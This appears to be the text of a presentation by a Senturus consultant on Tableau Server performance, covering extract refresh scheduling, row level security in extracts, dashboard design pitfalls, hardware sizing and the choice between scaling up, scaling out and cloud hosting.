Revving Tableau Server Performance

Todd Schuman

Practice Lead – Installations, Upgrades and Performance Tuning
Senturus, Inc.

• Most common causes of Tableau Server performance loss
• Data extract refresh schedules
• Undersized hardware/concurrent users
• Row level security
• Poor workbook/dashboard design
• Data extract chaos
• Long refreshes during peak hours
• Failing extracts
• Duplicates and deprecated extracts
• Undersized hardware/concurrent users
• On paper, 8 CPU/32GB RAM should support 1000 total users
  • Assumes 10% are active
  • Light workload
• Row level security in extracts
  • Live vs. extracts
    • Live can apply security for each SQL execution
    • Extract needs to store specific rows for each user/group
  • One-to-one
    • [Column]=USERNAME()
    • Will create a row for each user
    • 1M rows, 1K users = 1B row extract
  • One-to-group
    • IF ISMEMBEROF(“GROUP”) THEN [Column]=”Value”
    • Can help reduce users to multi-user groups
    • 1M rows, 20 groups, 20M row extract
• Poor dashboard design
• Slow dashboards in Desktop will not run faster on Server
• Usual suspects
  • Custom SQL
  • Too many details/marks
  • Too many quick filters
  • Complex calculations
  • Excel/CSV files as data sources
  • Operational databases
  • LOD calculations

Getting ahead of performance issues

• Restrict schedules – don’t allow peak hour scheduling
• Clean up extracts
  • Hide unused columns – expose only what is needed
  • Remove lower level detail if only focused on aggregates
    • If you only report on monthly data, you don’t need to store daily row level detail
  • Filter – If you only need one year of data, filter out the historical data
  • Massive reduction in rows and size
• Data Stewards
  • Restrict non-stewards from scheduling extract refreshes
  • Data steward ensure extracts are only refreshed when needed
  • Duplicates are removed
  • New extracts are validated
• Row level security
  • CONTAINS()
    • High performing without duplicates
    • Requires creating custom comma delimited fields
    • Note: issues with HYPER in 10.5 and 2018.1.0
  • Display name
    • Fast performance
    • Users can edit
    • Ugly for users
  • Tableau admin tools
    • Out of box reports
  • Internal postgres Tableau reporting
    • Build your own dashboards
    • Have it delivered automatically
      • Extract timelines
      • Daily use
      • Weekly use
      • Monthly use

Scaling up vs. scaling out

• Up vs. out
  • Up – adding additional hardware/resources to existing servers
  • Out – adding new servers to distribute load
• When to scale up
  • Tableau Server recommended hardware
    • 8 CPU
    • 32GB RAM
    • https://onlinehelp.tableau.com/current/server/en-us/server_hardware_min.htm
  • If Less < 8-16 CPU – scale up before out
  • If on core-based licensing, make sure you are using what you paid for
    • Single gateway nodes don’t count
    • DEV and TEST environments don’t count as long as they are <= prod core count
  • When to scale out
    • Single node >= 8 CPU
    • Need to address failover/high availability (HA)
    • Need to dedicate hardware to Tableau processes
  • Response times scaling out
  • Comparisons
    • Scaling up
      • Lower cost
      • Less maintenance
      • Simple configuration
    • Scaling out
      • Additional cost for servers and licenses
      • Distribute load
      • Dedicated workers
      • Failover/high availability
    • Cloud-based options
      • Tableau Online
        • Now runs on AWS
        • Turnkey
        • Auto upgrade
        • No access to file system
        • Limited on-prem access
        • 100 GB limit
      • DIY cloud
        • AWS, Azure, Google
        • Maintain updates and software
        • Full feature set
        • Need to setup network access to on-prem data and authentication